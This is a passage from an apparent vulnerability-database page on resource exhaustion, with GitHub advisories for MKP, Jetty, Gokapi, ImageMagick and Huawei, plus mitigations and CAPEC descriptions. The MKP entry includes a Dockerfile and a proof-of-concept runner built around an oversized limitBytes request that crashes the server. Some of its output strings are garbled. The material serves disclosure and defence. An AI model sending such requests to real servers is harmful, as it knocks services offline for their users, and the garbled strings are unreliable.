`mkp-server` in its default configuration (no `--read-write` flag required; `get_resource` is registered by default on `:8080` without authentication).\n- Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g., `kube-system` workloads in production clusters almost always satisfy this condition).\n- Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.\n\nA single `tools/call` request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with `limitBytes=2147483647` (~2 GB) will exhaust memory before any subsequent requests are needed.\n\nNo authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# \u2500\u2500 Stage 1: Build mkp-server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM golang:1.25 AS builder\n\n# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain\n# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient.\nENV GOTOOLCHAIN=local\nENV CGO_ENABLED=0\n\nWORKDIR /src\n\n# Copy the source tree (build con = parent of vuln-001/)\nCOPY repo/ .\n\nRUN go build -o /mkp-server ./cmd/server\n\n# \u2500\u2500 Stage 2: Runtime \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM python:3.12-slim\n\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends procps curl \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /mkp-server /usr/local/bin/mkp-server\n\nCOPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py\nCOPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml\nCOPY vuln-001/exploit.py /workspace/exploit.py\nCOPY vuln-001/entrypoint.sh /workspace/entrypoint.sh\n\nRUN chmod +x /workspace/entrypoint.sh\n\nCMD [\"/workspace/entrypoint.sh\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Dynamic Reproduction Orchestrator.\n\nBuild: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .\nRun  : docker run --rm mkp-vuln-001\n\nEvidence criterion: MKP RSS grows by \u2265 50 MB while processing a single\ntools/call request with limitBytes=134217728 (128 MB), proving that\ndefaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.\n\"\"\"\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK_DIR = Path(__file__).parent.resolve()\nREPO_ROOT = WORK_DIR.parent\nIMAGE = \"mkp-vuln-001\"\nBUILD_CMD = f\"docker build -t {IMAGE} -f vuln-001/Dockerfile .\"\nRUN_CMD   = f\"docker run --rm {IMAGE}\"\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ndef run_streaming(cmd: str, cwd=None) -\u003e tuple[int, str]:\n    \"\"\"Run a shell command, stream its output, and return (rc, full_output).\"\"\"\n    proc = subprocess.Popen(\n        cmd, shell=True,\n        stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n        text=True, cwd=cwd,\n    )\n    lines = []\n    for line in proc.stdout:\n        print(line, end=\u0027\u0027, flush=True)\n        lines.append(line)\n    proc.wait()\n    return proc.returncode, \u0027\u0027.join(lines)\n\n\ndef save_result(result: dict):\n    path = WORK_DIR / \u0027phase2_result.json\u0027\n    with open(path, \u0027w\u0027, encoding=\u0027utf-8\u0027) as f:\n        json.dump(result, f, ensure_ascii=False, indent=2)\n    print(f\"\\n[poc] Result saved \u2192 {path}\")\n\n\ndef parse_evidence(output: str) -\u003e dict:\n    ev: dict = {}\n    m = re.search(r\u0027Initial RSS\\s*:\\s*(\\d+)\u0027, output)\n    if m:\n        ev[\u0027initial_kb\u0027] = int(m.group(1))\n        ev[\u0027initial_mb\u0027] = ev[\u0027initial_kb\u0027] / 1024\n\n    m = re.search(r\u0027Peak RSS\\s*:\\s*(\\d+)\u0027, output)\n    if m:\n        ev[\u0027peak_kb\u0027] = int(m.group(1))\n        ev[\u0027peak_mb\u0027] = ev[\u0027peak_kb\u0027] / 1024\n\n    m = re.search(r\u0027Delta RSS\\s*:\\s*(\\d+)\\s*kB\\s*\\(([0-9.]+)\\s*MB\\)\u0027, output)\n    if m:\n        ev[\u0027delta_kb\u0027] = int(m.group(1))\n        ev[\u0027delta_mb\u0027] = float(m.group(2))\n    elif \u0027peak_kb\u0027 in ev and \u0027initial_kb\u0027 in ev:\n        ev[\u0027delta_kb\u0027] = ev[\u0027peak_kb\u0027] - ev[\u0027initial_kb\u0027]\n        ev[\u0027delta_mb\u0027] = ev[\u0027delta_kb\u0027] / 1024\n\n    m = re.search(r\u0027VERDICT:\\s*(CONFIRMED|INCONCLUSIVE)[^\\n]*\u0027, output)\n    if m:\n        ev[\u0027verdict_line\u0027] = m.group(0)\n\n    return ev\n\n\ndef extract_evidence_block(output: str) -\u003e str:\n    \"\"\"Return the EVIDENCE SUMMARY block, or the last 3000 chars.\"\"\"\n    m = re.search(r\u0027={10,}\\nEVIDENCE SUMMARY.*?={10,}\u0027, output, re.DOTALL)\n    if m:\n        return m.group(0)[:3000]\n    return output[-3000:]\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ndef main():\n    print(\"=\" * 60)\n    print(\"VULN-001: Unbounded Pod Log Read \u2014 Dynamic Reproduction\")\n    print(\"=\" * 60)\n\n    os.chdir(REPO_ROOT)\n\n    # \u2500\u2500 Docker build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(f\"\\n[poc] Building Docker image\u2026\\n[poc] {BUILD_CMD}\\n\")\n    rc, build_output = run_streaming(BUILD_CMD)\n    if rc != 0:\n        reason = f\"Docker build failed (exit {rc}). text error: {build_output[-800:]}\"\n        save_result({\n            \"passed\": False,\n            \"verdict\": \"FAIL\",\n            \"reason\": reason,\n            \"build_command\": BUILD_CMD,\n            \"run_command\": RUN_CMD,\n            \"poc_command\": \"python3 vuln-001/poc.py\",\n            \"evidence\": build_output[-2000:],\n            \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n        })\n        print(f\"\\n[poc] FAIL: {reason}\")\n        return False\n\n    print(\"\\n[poc] Build OK.\")\n\n    # \u2500\u2500 Docker run \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(f\"\\n[poc] Running exploit container\u2026\\n[poc] {RUN_CMD}\\n\")\n    rc, run_output = run_streaming(f\"{RUN_CMD} 2\u003e\u00261\")\n    print(f\"\\n[poc] Container exited (code={rc})\")\n\n    ev = parse_evidence(run_output)\n    delta_mb = ev.get(\u0027delta_mb\u0027, 0.0)\n    print(f\"[poc] Parsed evidence: {ev}\")\n\n    # \u2500\u2500 Verdict \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    passed = delta_mb \u003e= 50.0\n\n    if passed:\n        verdict = \"PASS\"\n        init_mb = ev.get(\u0027initial_mb\u0027, 0)\n        peak_mb = ev.get(\u0027peak_mb\u0027, 0)\n        reason = (\n            f\"MKP server RSStext {init_mb:.1f} MB \u2192 {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. \"\n            f\"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters \"\n            f\"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text \"\n            f\"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed.\"\n        )\n    else:\n        verdict = \"INCOMPLETE\"\n        reason = (\n            f\"RSS text {delta_mb:.1f} MB \u2014 50 MB criteria text. \"\n            f\"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, \"\n            f\"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}\"\n        )\n\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_CMD,\n        \"run_command\": RUN_CMD,\n        \"poc_command\": \"python3 vuln-001/poc.py\",\n        \"evidence\": extract_evidence_block(run_output),\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    save_result(result)\n\n    print(f\"\\n[poc] {\u0027PASS\u0027 if passed else \u0027INCOMPLETE\u0027}: {reason}\")\n    return passed\n\n\nif __name__ == \u0027__main__\u0027:\n    ok = main()\n    sys.exit(0 if ok else 1)\n```",
  "id": "GHSA-qw5r-ppcg-f8rj",
  "modified": "2026-07-14T18:09:48Z",
  "published": "2026-07-14T18:09:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/StacklokLabs/mkp/security/advisories/GHSA-qw5r-ppcg-f8rj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/StacklokLabs/mkp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MKP: Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion"
}

GHSA-QW69-RQJ8-6QW8

Vulnerability from github – Published: 2023-04-19 18:15 – Updated: 2023-04-19 18:15
VLAI
Summary
OutOfMemoryError for large multipart without filename in Eclipse Jetty
Details

Impact

Servlets with multipart support (e.g. annotated with @MultipartConfig) that call HttpServletRequest.getParameter() or HttpServletRequest.getParts() may cause OutOfMemoryError when the client sends a multipart request with a part that has a name but no filename and a very large content.

This happens even with the default settings of fileSizeThreshold=0 which should stream the whole part content to disk.

An attacker client may send a large multipart request and cause the server to throw OutOfMemoryError. However, the server may be able to recover after the OutOfMemoryError and continue its service -- although it may take some time.

A very large number of parts may cause the same problem.

Patches

Patched in Jetty versions

  • 9.4.51.v20230217 - via PR #9345
  • 10.0.14 - via PR #9344
  • 11.0.14 - via PR #9344

Workarounds

Multipart parameter maxRequestSize must be set to a non-negative value, so the whole multipart content is limited (although still read into memory). Limiting multipart parameter maxFileSize won't be enough because an attacker can send a large number of parts that summed up will cause memory issues.

References

  • https://github.com/eclipse/jetty.project/issues/9076
  • https://github.com/jakartaee/servlet/blob/6.0.0/spec/src/main/asciidoc/servlet-spec-body.adoc#32-file-upload
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.4.51.v20230217"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.0.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-19T18:15:45Z",
    "nvd_published_at": "2023-04-18T21:15:08Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nServlets with multipart support (e.g. annotated with `@MultipartConfig`) that call `HttpServletRequest.getParameter()` or `HttpServletRequest.getParts()` may cause `OutOfMemoryError` when the client sends a multipart request with a part that has a name but no filename and a very large content.\n\nThis happens even with the default settings of `fileSizeThreshold=0` which should stream the whole part content to disk.\n\nAn attacker client may send a large multipart request and cause the server to throw `OutOfMemoryError`.\nHowever, the server may be able to recover after the `OutOfMemoryError` and continue its service -- although it may take some time.\n\nA very large number of parts may cause the same problem.\n\n### Patches\nPatched in Jetty versions\n\n* 9.4.51.v20230217 - via PR #9345\n* 10.0.14 - via PR #9344\n* 11.0.14 - via PR #9344\n\n### Workarounds\nMultipart parameter `maxRequestSize` must be set to a non-negative value, so the whole multipart content is limited (although still read into memory).\nLimiting multipart parameter `maxFileSize` won\u0027t be enough because an attacker can send a large number of parts that summed up will cause memory issues.\n\n### References\n* https://github.com/eclipse/jetty.project/issues/9076\n* https://github.com/jakartaee/servlet/blob/6.0.0/spec/src/main/asciidoc/servlet-spec-body.adoc#32-file-upload\n",
  "id": "GHSA-qw69-rqj8-6qw8",
  "modified": "2023-04-19T18:15:45Z",
  "published": "2023-04-19T18:15:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eclipse/jetty.project/security/advisories/GHSA-qw69-rqj8-6qw8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26048"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse/jetty.project/issues/9076"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse/jetty.project/pull/9344"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse/jetty.project/pull/9345"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eclipse/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse/jetty.project/releases/tag/jetty-9.4.51.v20230217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jakartaee/servlet/blob/6.0.0/spec/src/main/asciidoc/servlet-spec-body.adoc#32-file-upload"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/09/msg00039.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230526-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5507"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OutOfMemoryError for large multipart without filename in Eclipse Jetty"
}

GHSA-QWC6-VC2V-2GGJ

Vulnerability from github – Published: 2026-03-13 18:56 – Updated: 2026-03-24 21:02
VLAI
Summary
Gokapi vulnerable to DoS in E2E Metadata Parser
Details

Summary

An API endpoint accepts unbounded request bodies without any size limit. An authenticated user can cause an OOM kill and complete service disruption for all users.

Impact

Any authenticated user can crash the Gokapi server by sending concurrent large payloads.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/forceu/gokapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T18:56:46Z",
    "nvd_published_at": "2026-03-13T19:54:35Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn API endpoint accepts unbounded request bodies without any size limit. An authenticated user can cause an OOM kill and complete service disruption for all users.\n\n\n### Impact\n\nAny authenticated user can crash the Gokapi server by sending concurrent large payloads.",
  "id": "GHSA-qwc6-vc2v-2ggj",
  "modified": "2026-03-24T21:02:21Z",
  "published": "2026-03-13T18:56:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Forceu/Gokapi/security/advisories/GHSA-qwc6-vc2v-2ggj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30955"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Forceu/Gokapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Forceu/Gokapi/releases/tag/v2.2.4"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4698"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gokapi vulnerable to DoS in E2E Metadata Parser"
}

GHSA-QWGP-HCV2-WPPX

Vulnerability from github – Published: 2022-05-17 02:54 – Updated: 2022-05-17 02:54
VLAI
Details

Memory leak in the NewXMLTree function in magick/xml-tree.c in ImageMagick before 6.9.4-7 allows remote attackers to cause a denial of service (memory consumption) via a crafted XML file.

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-10047"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-23T17:59:00Z",
    "severity": "HIGH"
  },
  "details": "Memory leak in the NewXMLTree function in magick/xml-tree.c in ImageMagick before 6.9.4-7 allows remote attackers to cause a denial of service (memory consumption) via a crafted XML file.",
  "id": "GHSA-qwgp-hcv2-wppx",
  "modified": "2022-05-17T02:54:01Z",
  "published": "2022-05-17T02:54:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10047"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/commit/fc6080f1321fd21e86ef916195cc110b05d9effb"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1410449"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/12/26/9"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95182"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QWMH-XH25-6X42

Vulnerability from github – Published: 2023-03-28 00:34 – Updated: 2025-02-24 18:32
VLAI
Details

The secure OS module has configuration defects. Successful exploitation of this vulnerability may affect availability.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-48351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-27T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "The secure OS module has configuration defects. Successful exploitation of this vulnerability may affect availability.",
  "id": "GHSA-qwmh-xh25-6x42",
  "modified": "2025-02-24T18:32:15Z",
  "published": "2023-03-28T00:34:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48351"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2023/3"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202303-0000001529824505"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list